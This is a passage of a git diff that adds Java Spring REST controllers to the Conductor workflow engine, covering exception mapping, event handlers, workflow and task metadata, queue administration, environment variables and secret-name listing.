"Get registered queues") + public Map getEventQueues( + @RequestParam(value = "verbose", defaultValue = "false", required = false) + boolean verbose) { + return adminService.getEventQueues(verbose); + } +} diff --git a/rest/src/main/java/com/netflix/conductor/rest/controllers/ApplicationExceptionMapper.java b/rest/src/main/java/com/netflix/conductor/rest/controllers/ApplicationExceptionMapper.java new file mode 100644 index 0000000..c2c163e --- /dev/null +++ b/rest/src/main/java/com/netflix/conductor/rest/controllers/ApplicationExceptionMapper.java @@ -0,0 +1,99 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.util.HashMap; +import java.util.Map; + +import org.conductoross.conductor.core.exception.FileStorageException; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.core.annotation.Order; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.ExceptionHandler; +import org.springframework.web.bind.annotation.RestControllerAdvice; +import org.springframework.web.servlet.resource.NoResourceFoundException; + +import com.netflix.conductor.common.validation.ErrorResponse; +import com.netflix.conductor.core.exception.AccessForbiddenException; +import com.netflix.conductor.core.exception.ConflictException; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.core.utils.Utils; +import com.netflix.conductor.metrics.Monitors; + +import com.fasterxml.jackson.databind.exc.InvalidFormatException; +import jakarta.servlet.http.HttpServletRequest; + +@RestControllerAdvice +@Order(ValidationExceptionMapper.ORDER + 1) +public class ApplicationExceptionMapper { + + private static final Logger LOGGER = LoggerFactory.getLogger(ApplicationExceptionMapper.class); + + private final String host = Utils.getServerId(); + + private static final Map, HttpStatus> EXCEPTION_STATUS_MAP = + new HashMap<>(); + + static { + EXCEPTION_STATUS_MAP.put(NotFoundException.class, HttpStatus.NOT_FOUND); + EXCEPTION_STATUS_MAP.put(ConflictException.class, HttpStatus.CONFLICT); + EXCEPTION_STATUS_MAP.put(IllegalArgumentException.class, HttpStatus.BAD_REQUEST); + EXCEPTION_STATUS_MAP.put(InvalidFormatException.class, HttpStatus.INTERNAL_SERVER_ERROR); + EXCEPTION_STATUS_MAP.put(NoResourceFoundException.class, HttpStatus.NOT_FOUND); + EXCEPTION_STATUS_MAP.put(FileStorageException.class, HttpStatus.PAYLOAD_TOO_LARGE); + EXCEPTION_STATUS_MAP.put(AccessForbiddenException.class, HttpStatus.FORBIDDEN); + } + + @ExceptionHandler(Throwable.class) + public ResponseEntity handleAll(HttpServletRequest request, Throwable th) { + HttpStatus status = + EXCEPTION_STATUS_MAP.getOrDefault(th.getClass(), HttpStatus.INTERNAL_SERVER_ERROR); + + logException(request, th, status); + + ErrorResponse errorResponse = new ErrorResponse(); + errorResponse.setInstance(host); + errorResponse.setStatus(status.value()); + errorResponse.setMessage(th.getMessage()); + errorResponse.setRetryable( + th instanceof TransientException); // set it to true for TransientException + + Monitors.error("error", String.valueOf(status.value())); + + return new ResponseEntity<>(errorResponse, status); + } + + private void logException(HttpServletRequest request, Throwable exception, HttpStatus status) { + // 4xx responses represent client-side errors that Conductor handled + // correctly (for example NotFoundException -> 404, ConflictException -> 409). + // Logging them at ERROR pollutes the server error logs and hides genuine + // 5xx server-side failures, so emit 4xx at WARN and reserve ERROR for 5xx + // and any unmapped exception (which falls back to 500). + if (status.is4xxClientError()) { + LOGGER.warn( + "Error {} url: '{}'", + exception.getClass().getSimpleName(), + request.getRequestURI(), + exception); + } else { + LOGGER.error( + "Error {} url: '{}'", + exception.getClass().getSimpleName(), + request.getRequestURI(), + exception); + } + } +} diff --git a/rest/src/main/java/com/netflix/conductor/rest/controllers/EnvironmentResource.java b/rest/src/main/java/com/netflix/conductor/rest/controllers/EnvironmentResource.java new file mode 100644 index 0000000..58970b4 --- /dev/null +++ b/rest/src/main/java/com/netflix/conductor/rest/controllers/EnvironmentResource.java @@ -0,0 +1,51 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.util.List; + +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import com.netflix.conductor.common.metadata.EnvironmentVariable; +import com.netflix.conductor.dao.EnvironmentDAO; + +import io.swagger.v3.oas.annotations.Operation; + +import static com.netflix.conductor.rest.config.RequestMappingConstants.ENVIRONMENT; + +@RestController +@RequestMapping(value = ENVIRONMENT, produces = MediaType.APPLICATION_JSON_VALUE) +public class EnvironmentResource { + + private final EnvironmentDAO environmentDAO; + + public EnvironmentResource(EnvironmentDAO environmentDAO) { + this.environmentDAO = environmentDAO; + } + + @GetMapping + @Operation(summary = "List all environment variables") + public List getAll() { + return environmentDAO.getAll(); + } + + @GetMapping(value = "/{key}", produces = MediaType.TEXT_PLAIN_VALUE) + @Operation(summary = "Get the value of an environment variable") + public String get(@PathVariable("key") String key) { + return environmentDAO.getEnvVariable(key); + } +} diff --git a/rest/src/main/java/com/netflix/conductor/rest/controllers/EventResource.java b/rest/src/main/java/com/netflix/conductor/rest/controllers/EventResource.java new file mode 100644 index 0000000..0339ce2 --- /dev/null +++ b/rest/src/main/java/com/netflix/conductor/rest/controllers/EventResource.java @@ -0,0 +1,76 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.util.List; + +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.service.EventService; + +import io.swagger.v3.oas.annotations.Operation; + +import static com.netflix.conductor.rest.config.RequestMappingConstants.EVENT; + +@RestController +@RequestMapping(EVENT) +public class EventResource { + + private final EventService eventService; + + public EventResource(EventService eventService) { + this.eventService = eventService; + } + + @PostMapping + @Operation(summary = "Add a new event handler.") + public void addEventHandler(@RequestBody EventHandler eventHandler) { + eventService.addEventHandler(eventHandler); + } + + @PutMapping + @Operation(summary = "Update an existing event handler.") + public void updateEventHandler(@RequestBody EventHandler eventHandler) { + eventService.updateEventHandler(eventHandler); + } + + @DeleteMapping("/{name}") + @Operation(summary = "Remove an event handler") + public void removeEventHandlerStatus(@PathVariable("name") String name) { + eventService.removeEventHandlerStatus(name); + } + + @GetMapping + @Operation(summary = "Get all the event handlers") + public List getEventHandlers() { + return eventService.getEventHandlers(); + } + + @GetMapping("/{event}") + @Operation(summary = "Get event handlers for a given event") + public List getEventHandlersForEvent( + @PathVariable("event") String event, + @RequestParam(value = "activeOnly", defaultValue = "true", required = false) + boolean activeOnly) { + return eventService.getEventHandlersForEvent(event, activeOnly); + } +} diff --git a/rest/src/main/java/com/netflix/conductor/rest/controllers/HealthCheckResource.java b/rest/src/main/java/com/netflix/conductor/rest/controllers/HealthCheckResource.java new file mode 100644 index 0000000..43b0658 --- /dev/null +++ b/rest/src/main/java/com/netflix/conductor/rest/controllers/HealthCheckResource.java @@ -0,0 +1,32 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.util.Collections; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import com.netflix.runtime.health.api.HealthCheckStatus; + +@RestController +@RequestMapping("/health") +public class HealthCheckResource { + + // SBMTODO: Move this Spring boot health check + @GetMapping + public HealthCheckStatus doCheck() throws Exception { + return HealthCheckStatus.create(true, Collections.emptyList()); + } +} diff --git a/rest/src/main/java/com/netflix/conductor/rest/controllers/MetadataResource.java b/rest/src/main/java/com/netflix/conductor/rest/controllers/MetadataResource.java new file mode 100644 index 0000000..e9406d5 --- /dev/null +++ b/rest/src/main/java/com/netflix/conductor/rest/controllers/MetadataResource.java @@ -0,0 +1,176 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.util.List; +import java.util.Map; +import java.util.Optional; + +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowClassifier; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDefSummary; +import com.netflix.conductor.common.model.BulkResponse; +import com.netflix.conductor.core.exception.ConflictException; +import com.netflix.conductor.service.MetadataService; + +import io.swagger.v3.oas.annotations.Operation; + +import static com.netflix.conductor.rest.config.RequestMappingConstants.METADATA; + +@RestController +@RequestMapping(value = METADATA) +public class MetadataResource { + + private final MetadataService metadataService; + + public MetadataResource(MetadataService metadataService) { + this.metadataService = metadataService; + } + + @PostMapping("/workflow") + @Operation(summary = "Create a new workflow definition") + public void create( + @RequestBody WorkflowDef workflowDef, + @RequestParam(value = "overwrite", required = false, defaultValue = "false") + boolean overwrite) { + String name = workflowDef.getName(); + if (name == null || name.isBlank()) { + metadataService.registerWorkflowDef(workflowDef); + return; + } + Optional existing = + metadataService.findWorkflowDef(name, workflowDef.getVersion()); + if (existing.isEmpty()) { + metadataService.registerWorkflowDef(workflowDef); + } else if (overwrite) { + metadataService.updateWorkflowDef(workflowDef); + } else { + throw new ConflictException("Workflow with %s already exists!", workflowDef.key()); + } + } + + @PostMapping("/workflow/validate") + @Operation(summary = "Validates a new workflow definition") + public void validate(@RequestBody WorkflowDef workflowDef) { + metadataService.validateWorkflowDef(workflowDef); + } + + @PutMapping("/workflow") + @Operation(summary = "Create or update workflow definition") + public BulkResponse update(@RequestBody List workflowDefs) { + return metadataService.updateWorkflowDef(workflowDefs); + } + + @Operation(summary = "Retrieves workflow definition along with blueprint") + @GetMapping("/workflow/{name}") + public WorkflowDef get( + @PathVariable("name") String name, + @RequestParam(value = "version", required = false) Integer version) { + return metadataService.getWorkflowDef(name, version); + } + + @Operation(summary = "Retrieves all workflow definition along with blueprint") + @GetMapping("/workflow") + public List getAll( + @RequestParam(value = "classifier", required = false) String classifier) { + List allWorkflows = metadataService.getWorkflowDefs(); + // Optional classifier filter powering e.g. agent def vs workflow def views. The + // classifier is derived from each def's metadata map: "workflow" matches untagged + // (plain) defs; any other value matches the derived tag literally. + if (classifier == null || classifier.isBlank()) { + return allWorkflows; + } + String wanted = classifier.trim(); + return allWorkflows.stream() + .filter(wd -> wanted.equalsIgnoreCase(WorkflowClassifier.classifierOf(wd))) + .toList(); + } + + @Operation(summary = "Returns workflow names and versions only (no definition bodies)") + @GetMapping("/workflow/names-and-versions") + public Map> getWorkflowNamesAndVersions() { + return metadataService.getWorkflowNamesAndVersions(); + } + + @Operation( + summary = + "Returns only distinct workflow definition names (no versions or definition bodies)") + @GetMapping("/workflow/names") + public List getWorkflowNames() { + return metadataService.getWorkflowNames(); + } + + @Operation( + summary = + "Returns lightweight version summaries for a single workflow (no definition bodies)") + @GetMapping("/workflow/{name}/versions") + public List getWorkflowVersions(@PathVariable("name") String name) { + return metadataService.getWorkflowVersions(name); + } + + @Operation(summary = "Returns only the latest version of all workflow definitions") + @GetMapping("/workflow/latest-versions") + public List getAllWorkflowsWithLatestVersions() { + return metadataService.getWorkflowDefsLatestVersions(); + } + + @DeleteMapping("/workflow/{name}/{version}") + @Operation( + summary = + "Removes workflow definition. It does not remove workflows associated with the definition.") + public void unregisterWorkflowDef( + @PathVariable("name") String name, @PathVariable("version") Integer version) { + metadataService.unregisterWorkflowDef(name, version); + } + + @PostMapping("/taskdefs") + @Operation(summary = "Create new task definition(s)") + public void registerTaskDef(@RequestBody List taskDefs) { + metadataService.registerTaskDef(taskDefs); + } + + @PutMapping("/taskdefs") + @Operation(summary = "Update an existing task") + public void registerTaskDef(@RequestBody TaskDef taskDef) { + metadataService.updateTaskDef(taskDef); + } + + @GetMapping(value = "/taskdefs") + @Operation(summary = "Gets all task definition") + public List getTaskDefs() { + return metadataService.getTaskDefs(); + } + + @GetMapping("/taskdefs/{tasktype}") + @Operation(summary = "Gets the task definition") + public TaskDef getTaskDef(@PathVariable("tasktype") String taskType) { + return metadataService.getTaskDef(taskType); + } + + @DeleteMapping("/taskdefs/{tasktype}") + @Operation(summary = "Remove a task definition") + public void unregisterTaskDef(@PathVariable("tasktype") String taskType) { + metadataService.unregisterTaskDef(taskType); + } +} diff --git a/rest/src/main/java/com/netflix/conductor/rest/controllers/QueueAdminResource.java b/rest/src/main/java/com/netflix/conductor/rest/controllers/QueueAdminResource.java new file mode 100644 index 0000000..6651352 --- /dev/null +++ b/rest/src/main/java/com/netflix/conductor/rest/controllers/QueueAdminResource.java @@ -0,0 +1,74 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.util.Map; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import com.netflix.conductor.core.events.queue.DefaultEventQueueProcessor; +import com.netflix.conductor.model.TaskModel.Status; + +import io.swagger.v3.oas.annotations.Operation; + +import static com.netflix.conductor.rest.config.RequestMappingConstants.QUEUE; + +@RestController +@RequestMapping(QUEUE) +public class QueueAdminResource { + + private final DefaultEventQueueProcessor defaultEventQueueProcessor; + + public QueueAdminResource(DefaultEventQueueProcessor defaultEventQueueProcessor) { + this.defaultEventQueueProcessor = defaultEventQueueProcessor; + } + + @Operation(summary = "Get the queue length") + @GetMapping(value = "/size") + public Map size() { + return defaultEventQueueProcessor.size(); + } + + @Operation(summary = "Get Queue Names") + @GetMapping(value = "/") + public Map names() { + return defaultEventQueueProcessor.queues(); + } + + @Operation(summary = "Publish a message in queue to mark a wait task as completed.") + @PostMapping(value = "/update/{workflowId}/{taskRefName}/{status}") + public void update( + @PathVariable("workflowId") String workflowId, + @PathVariable("taskRefName") String taskRefName, + @PathVariable("status") Status status, + @RequestBody Map output) + throws Exception { + defaultEventQueueProcessor.updateByTaskRefName(workflowId, taskRefName, output, status); + } + + @Operation(summary = "Publish a message in queue to mark a wait task (by taskId) as completed.") + @PostMapping("/update/{workflowId}/task/{taskId}/{status}") + public void updateByTaskId( + @PathVariable("workflowId") String workflowId, + @PathVariable("taskId") String taskId, + @PathVariable("status") Status status, + @RequestBody Map output) + throws Exception { + defaultEventQueueProcessor.updateByTaskId(workflowId, taskId, output, status); + } +} diff --git a/rest/src/main/java/com/netflix/conductor/rest/controllers/SecretResource.java b/rest/src/main/java/com/netflix/conductor/rest/controllers/SecretResource.java new file mode 100644 index 0000000..297a573 --- /dev/null +++ b/rest/src/main/java/com/netflix/conductor/rest/controllers/SecretResource.java @@ -0,0 +1,43 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.util.List; + +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import com.netflix.conductor.dao.SecretsDAO; + +import io.swagger.v3.oas.annotations.Operation; + +import static com.netflix.conductor.rest.config.RequestMappingConstants.SECRETS; + +@RestController +@RequestMapping(value = SECRETS, produces = MediaType.APPLICATION_JSON_VALUE) +public class SecretResource { + + private final SecretsDAO secretsDAO; + + public SecretResource(SecretsDAO secretsDAO) { + this.secretsDAO = secretsDAO; + } + + @GetMapping + @Operation(summary = "List secret names (values are never returned)") + public List listSecretNames() { + return secretsDAO.listSecretNames(); + } +} diff --git a/rest/src/main/java/com/netflix/conductor/rest/controllers/TaskResource.java b/rest/src/main/java/com/netflix/conductor/rest/controllers/TaskResource.java new file mode 100644 index 0000000..03df770 --- /dev/null +++ b/rest/src/main/java/com/netflix/conductor/rest/controllers/TaskResource.java @@ -0,0 +1,255 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.util.List; +import java.util.Map; +import java.util.Optional; + +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +import com.netflix.conductor.common.metadata.tasks.PollData; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.run.ExternalStorageLocation; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.service.TaskService; +import com.netflix.conductor.service.WorkflowService; + +import io.swagger.v3.oas.annotations.Operation; +import jakarta.validation.Valid; + +import static com.netflix.conductor.rest.config.RequestMappingConstants.TASKS; + +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; +import static org.springframework.http.MediaType.TEXT_PLAIN_VALUE; + +@RestController +@RequestMapping(value = TASKS) +public class TaskResource { + + private final TaskService taskService; + private final WorkflowService workflowService; + + public TaskResource(TaskService taskService, WorkflowService workflowService) { + this.taskService = taskService; + this.workflowService = workflowService; + } + + @GetMapping("/poll/{tasktype}") + @Operation(summary = "Poll for a task of a certain type") + public ResponseEntity poll( + @PathVariable("tasktype") String taskType, + @RequestParam(value = "workerid", required = false) String workerId, + @RequestParam(value = "domain", required = false) String domain) { + // for backwards compatibility with 2.x client which expects a 204 when no Task is found + return Optional.ofNullable(taskService.poll(taskType, workerId, domain)) + .map(ResponseEntity::ok) + .orElse(ResponseEntity.noContent().build()); + } + + @GetMapping("/poll/batch/{tasktype}") + @Operation(summary = "Batch poll for a task of a certain type") + public ResponseEntity> batchPoll( + @PathVariable("tasktype") String taskType, + @RequestParam(value = "workerid", required = false) String workerId, + @RequestParam(value = "domain", required = false) String domain, + @RequestParam(value = "count", defaultValue = "1") int count, + @RequestParam(value = "timeout", defaultValue = "100") int timeout) { + List tasks = taskService.batchPoll(taskType, workerId, domain, count, timeout); + // Return empty list instead of 204 to avoid NPE in client libraries + return ResponseEntity.ok(tasks != null ? tasks : List.of()); + } + + @PostMapping(produces = TEXT_PLAIN_VALUE) + @Operation(summary = "Update a task") + public String updateTask(@RequestBody TaskResult taskResult) { + taskService.updateTask(taskResult); + return taskResult.getTaskId(); + } + + @PostMapping("/update-v2") + @Operation(summary = "Update a task and return the next available task to be processed") + public ResponseEntity updateTaskV2(@RequestBody @Valid TaskResult taskResult) { + TaskModel updatedTask = taskService.updateTask(taskResult); + if (updatedTask == null) { + return ResponseEntity.noContent().build(); + } + String taskType = updatedTask.getTaskType(); + String domain = updatedTask.getDomain(); + return poll(taskType, taskResult.getWorkerId(), domain); + } + + @PostMapping(value = "/{workflowId}/{taskRefName}/{status}", produces = TEXT_PLAIN_VALUE) + @Operation(summary = "Update a task By Ref Name") + public String updateTask( + @PathVariable("workflowId") String workflowId, + @PathVariable("taskRefName") String taskRefName, + @PathVariable("status") TaskResult.Status status, + @RequestParam(value = "workerid", required = false) String workerId, + @RequestBody Map output) { + + return taskService.updateTask(workflowId, taskRefName, status, workerId, output); + } + + @PostMapping( + value = "/{workflowId}/{taskRefName}/{status}/sync", + produces = APPLICATION_JSON_VALUE) + @Operation(summary = "Update a task By Ref Name synchronously and return the updated workflow") + public Workflow updateTaskSync( + @PathVariable("workflowId") String workflowId, + @PathVariable("taskRefName") String taskRefName, + @PathVariable("status") TaskResult.Status status, + @RequestParam(value = "workerid", required = false) String workerId, + @RequestBody Map output) { + + Task pending = taskService.getPendingTaskForWorkflow(workflowId, taskRefName); + if (pending == null) { + throw new NotFoundException( + String.format( + "Found no running task %s of workflow %s to update", + taskRefName, workflowId)); + } + + TaskResult taskResult = new TaskResult(pending); + taskResult.setStatus(status); + taskResult.getOutputData().putAll(output); + taskResult.setWorkerId(workerId); + taskService.updateTask(taskResult); + return workflowService.getExecutionStatus(pending.getWorkflowInstanceId(), true); + } + + @PostMapping("/{taskId}/log") + @Operation(summary = "Log Task Execution Details") + public void log(@PathVariable("taskId") String taskId, @RequestBody String log) { + taskService.log(taskId, log); + } + + @GetMapping("/{taskId}/log") + @Operation(summary = "Get Task Execution Logs") + public ResponseEntity> getTaskLogs(@PathVariable("taskId") String taskId) { + return Optional.ofNullable(taskService.getTaskLogs(taskId)) + .filter(logs -> !logs.isEmpty()) + .map(ResponseEntity::ok) + .orElse(ResponseEntity.noContent().build()); + } + + @GetMapping("/{taskId}") + @Operation(summary = "Get task by Id") + public ResponseEntity getTask(@PathVariable("taskId") String taskId) { + // for backwards compatibility with 2.x client which expects a 204 when no Task is found + return Optional.ofNullable(taskService.getTask(taskId)) + .map(ResponseEntity::ok) + .orElseThrow(() -> new NotFoundException("Task not found for taskId: %s", taskId)); + } + + @GetMapping("/queue/sizes") + @Operation(summary = "Deprecated. Please use /tasks/queue/size endpoint") + @Deprecated + public Map size( + @RequestParam(value = "taskType", required = false) List taskTypes) { + return taskService.getTaskQueueSizes(taskTypes); + } + + @GetMapping("/queue/size") + @Operation(summary = "Get queue size for a task type.") + public Integer taskDepth( + @RequestParam("taskType") String taskType, + @RequestParam(value = "domain", required = false) String domain, + @RequestParam(value = "isolationGroupId", required = false) String isolationGroupId, + @RequestParam(value = "executionNamespace", required = false) + String executionNamespace) { + return taskService.getTaskQueueSize(taskType, domain, executionNamespace, isolationGroupId); + } + + @GetMapping("/queue/all/verbose") + @Operation(summary = "Get the details about each queue") + public Map>> allVerbose() { + return taskService.allVerbose(); + } + + @GetMapping("/queue/all") + @Operation(summary = "Get the details about each queue") + public Map all() { + return taskService.getAllQueueDetails(); + } + + @GetMapping("/queue/polldata") + @Operation(summary = "Get the last poll data for a given task type") + public List getPollData(@RequestParam("taskType") String taskType) { + return taskService.getPollData(taskType); + } + + @GetMapping("/queue/polldata/all") + @Operation(summary = "Get the last poll data for all task types") + public List getAllPollData() { + return taskService.getAllPollData(); + } + + @PostMapping(value = "/queue/requeue/{taskType}", produces = TEXT_PLAIN_VALUE) + @Operation(summary = "Requeue pending tasks") + public String requeuePendingTask(@PathVariable("taskType") String taskType) { + return taskService.requeuePendingTask(taskType); + } + + @Operation( + summary = "Search for tasks based in payload and other parameters", + description = + "use sort options as sort=:ASC|DESC e.g. sort=name&sort=workflowId:DESC." + + " If order is not specified, defaults to ASC") + @GetMapping(value = "/search") + public SearchResult search( + @RequestParam(value = "start", defaultValue = "0", required = false) int start, + @RequestParam(value = "size", defaultValue = "100", required = false) int size, + @RequestParam(value = "sort", required = false) String sort, + @RequestParam(value = "freeText", defaultValue = "*", required = false) String freeText, + @RequestParam(value = "query", required = false) String query) { + return taskService.search(start, size, sort, freeText, query); + } + + @Operation( + summary = "Search for tasks based in payload and other parameters", + description = + "use sort options as sort=:ASC|DESC e.g. sort=name&sort=workflowId:DESC." + + " If order is not specified, defaults to ASC") + @GetMapping(value = "/search-v2") + public SearchResult searchV2( + @RequestParam(value = "start", defaultValue = "0", required = false) int start, + @RequestParam(value = "size", defaultValue = "100", required = false) int size, + @RequestParam(value = "sort", required = false) String sort, + @RequestParam(value = "freeText", defaultValue = "*", required = false) String freeText, + @RequestParam(value = "query", required = false) String query) { + return taskService.searchV2(start, size, sort, freeText, query); + } + + @Operation(summary = "Get the external uri where the task payload is to be stored") + @GetMapping({"/externalstoragelocation", "external-storage-location"}) + public ExternalStorageLocation getExternalStorageLocation( + @RequestParam("path") String path, + @RequestParam("operation") String operation, + @RequestParam("payloadType") String payloadType) { + return taskService.getExternalStorageLocation(path, operation, payloadType); + } +} diff --git a/rest/src/main/java/com/netflix/conductor/rest/controllers/ValidationExceptionMapper.java b/rest/src/main/java/com/netflix/conductor/rest/controllers/ValidationExceptionMapper.java new file mode 100644 index 0000000..68cc36d --- /dev/null +++ b/rest/src/main/java/com/netflix/conductor/rest/controllers/ValidationExceptionMapper.java @@ -0,0 +1,148 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.rest.controllers; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.core.Ordered; +import org.springframework.core.annotation.Order; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.ExceptionHandler; +import org.springframework.web.bind.annotation.RestControllerAdvice; + +import com.netflix.conductor.common.validation.ErrorResponse; +import com.netflix.conductor.common.validation.ValidationError; +import com.netflix.conductor.core.utils.Utils; +import com.netflix.conductor.metrics.Monitors; + +import jakarta.servlet.http.HttpServletRequest; +import jakarta.validation.ConstraintViolation; +import jakarta.validation.ConstraintViolationException; +import jakarta.validation.ValidationException; + +/** This class converts Hibernate {@link ValidationException} into http response. */ +@RestControllerAdvice +@Order(ValidationExceptionMapper.ORDER) +public class ValidationExceptionMapper { + + private static final Logger LOGGER = LoggerFactory.getLogger(ApplicationExceptionMapper.class); + + public static final int ORDER = Ordered.HIGHEST_PRECEDENCE; + + private final String host = Utils.getServerId(); + + @ExceptionHandler(ValidationException.class) + public ResponseEntity toResponse( + HttpServletRequest request, ValidationException exception) { + logException(request, exception); + + HttpStatus httpStatus; + + if (exception instanceof ConstraintViolationException) { + httpStatus = HttpStatus.BAD_REQUEST; + } else { + httpStatus = HttpStatus.INTERNAL_SERVER_ERROR; + 